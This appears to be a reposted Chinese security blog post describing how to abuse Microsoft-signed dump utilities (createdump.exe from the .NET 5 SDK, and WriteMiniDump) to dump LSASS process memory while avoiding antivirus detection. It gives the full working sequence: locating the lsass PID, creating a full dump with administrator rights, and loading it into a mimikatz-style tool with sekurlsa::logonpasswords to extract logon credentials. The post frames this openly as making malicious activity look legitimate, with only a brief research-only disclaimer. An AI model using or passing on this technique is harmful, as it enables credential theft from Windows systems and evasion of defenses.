前段时间,看到好多佬发minidump的姿势,突发奇想,合法签名的dump难道不是更加专业?
AV对抗到现在,基本上最终的目的其实都是恶意软件合法化,关键点就在于如何让一个恶意文件变成合法的受反病毒所信任的一个文件。
C:UsersJCDesktopdump>createdump.exe
createdump [options] pid
-f, --name - dump path and file name. The default is '%TEMP%dump.%p.dmp'. These specifiers are substituted with following values:
%p PID of dumped process.
%e The process executable filename.
%h Hostname return by gethostname().
%t Time of dump, expressed as seconds since the Epoch, 1970-01-01 00:00:00 +0000 (UTC).
-n, --normal - create minidump.
-h, --withheap - create minidump with heap (default).
-t, --triage - create triage minidump.
-u, --full - create full core dump.
-d, --diag - enable diagnostic messages.
这是一个合法的工具,带有微软签名,在微软的.net5.0的SDK工具包中。
下载地址:
https://dotnet.microsoft.com/zh-cn/download/dotnet/thank-you/sdk-5.0.408-windows-x64-installer
安装后,搜一下就找到了
C:Program FilesdotnetsharedMicrosoft.NETCore.App5.0.17
它带有合法数字签名以及证书:
使用也很简单,先找到lsass的进程,再使用管理员权限进行导出dump文件
C:UsersJCDesktopdump>tasklist |findstr lsass
616 Services 0 43,740 K
C:UsersJCDesktopdump>createdump.exe 616 -u
Writing full dump to file C:UsersJCAppDataLocalTempdump.616.dmp
Dump successfully written
peach # sekurlsa::minidump C:UsersJCDesktopdump.616.dmp
Switch to MINIDUMP : 'C:UsersJCDesktopdump.616.dmp'peach # sekurlsa::logonpasswords
从查找来说,其实很简单,因为很多程序在上线之初,或多或少存在这样或者那样的BUG,有很多导致程序崩溃的BUG,开发为了方便定位BUG,一般会有附带的独立调试工具,这些调试工具中就包含dump程序内存,用来定位异常和调试。对我们而言,这些dump工具就是天然的白利用。
可以看到很贴心的给出了帮助:
当然也是可以dump成功的。
除了上面的,其实还有很多,再举个例子:
WriteMiniDump
使用方法
WriteMiniDump /type full 1844 123.dmp
当然,这个有一定限制,只能dump32位进程的内存,仅仅只是举个例子罢了。
世上本没有路
走得人多了
便有了路
安全亦是如此
原文始发于微信公众号(JC的安全之路):聊聊minidump签名文件的滥用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论